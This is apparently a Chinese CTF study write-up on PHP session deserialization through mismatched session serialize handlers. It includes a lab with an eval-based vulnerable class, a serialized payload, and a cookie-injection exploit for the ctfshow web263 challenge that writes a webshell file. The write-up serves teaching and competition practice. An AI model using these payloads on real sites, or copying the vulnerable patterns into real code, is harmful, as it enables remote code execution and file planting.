省赛将近,被迫恶补CTF,与靶机相关的练习只能先搁置了。
php中有关session反序列化的考点遇见了多次,这里来复现一下理清思路。
原理
当php程序向session中写入内容时,会根据php.ini设置的session处理程序来对内容进行序列化;
而在读取session中的内容时,根据设置的处理程序来对session中的内容进行反序列化
来看官方手册的描述
问题就出在这个处理程序上,php中有三种不同的session处理程序php
、php_serialize
、php_binary
而经每种处理程序反序列化后的内容也不尽相同
这个漏洞产生的原因便是不同的网页处理session时使用了不同的处理程序,导致其可以反序列化我们传入的恶意字符串
实验
环境
操作系统:Windows10 x64位
服务器中间件:Apache 2.4
php版本:7.4
phpinfo中与session相关的设置如下:
可以看到默认的序列化处理程序为php,并且session默认以文件的方式来存储
处理程序
先来看默认的,也就是php
1
2
3
4
5
6
|
<?php
highlight_file(__FILE__);
session_start();
echo session_id();
$_SESSION['name'] = "yulock";
|
在session存储目录下可以看到刚刚生成的session,内容如下:
可以看到php
处理程序用|
作分割,前面为键,后面为值
通过ini_set
函数将处理程序切换为php_serialize
,再查看session中的内容:
最后一个php_binary
处理程序不在利用链中,就不赘述了
漏洞利用
倘若现在有两个网页,他们共用一个session文件,并且使用了不同的处理程序。而我们可以控制传入处理程序为php_serialize
的网页的序列化内容,那么只需要构造合适的序列化字符串,并在前添加|
,就会被处理程序为php
的网页识别,产生安全隐患
session.php:
1
2
3
4
5
6
7
|
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['username'];
echo "<pre>" . session_id();
|
vuln.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
highlight_file(__FILE__);
session_start();
class cmd {
public $code;
public function __destruct()
{
eval($this->code);
}
}
echo "<pre>" . session_id();
|
构造payload:
1
2
3
4
5
6
7
8
9
10
11
|
<?php
class cmd
{
public $code;
}
$cmd = new cmd();
$cmd->code = "phpinfo();";
echo serialize($cmd);
|
向session.php
传入|O:3:"cmd":1:{s:4:"code";s:10:"phpinfo();";}
,查看现在生成session的内容:
这时访问vuln.php
,会读取session中的内容并反序列化,当以php
为处理程序时,会以|
作为key和value的分割符,那么就会以我们的序列化字符串为value,进行反序列化后触发了__destruct
魔术方法,导致了远程代码执行
例题
web263
题目来自ctfshow的web入门
扫描目录获取www.zip
源码(由于源码过长,这里只截一部分)
index.php:
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
|
check.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<?php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
|
inc/inc.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);
// sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}
|
可以看到inc/inc.php
中设置了反序列化处理程序为php:
ini_set('session.serialize_handler', 'php');
由此猜测,默认的处理程序为php_serialize
,且在该文件中有一个User类,在反序列化后会触发file_put_contents
,可用于写马
而在index.php
中我们可以通过Cookie中的limit来控制写入session中的内容
$_SESSION['limit']=base64_decode($_COOKIE['limit']);
因此只需要将构造好的序列化字符串经base64编码后传入Cookie中的limit参数,访问index.php将其写入session,之后再访问inc/inc.php
即可触发反序列化写马
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
class User
{
public $username;
public $password;
public $status;
function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
function setStatus($s)
{
$this->status = $s;
}
}
$payload = new User("1.php", "");
$payload->setStatus("成功");
echo base64_encode("|" . serialize($payload));
|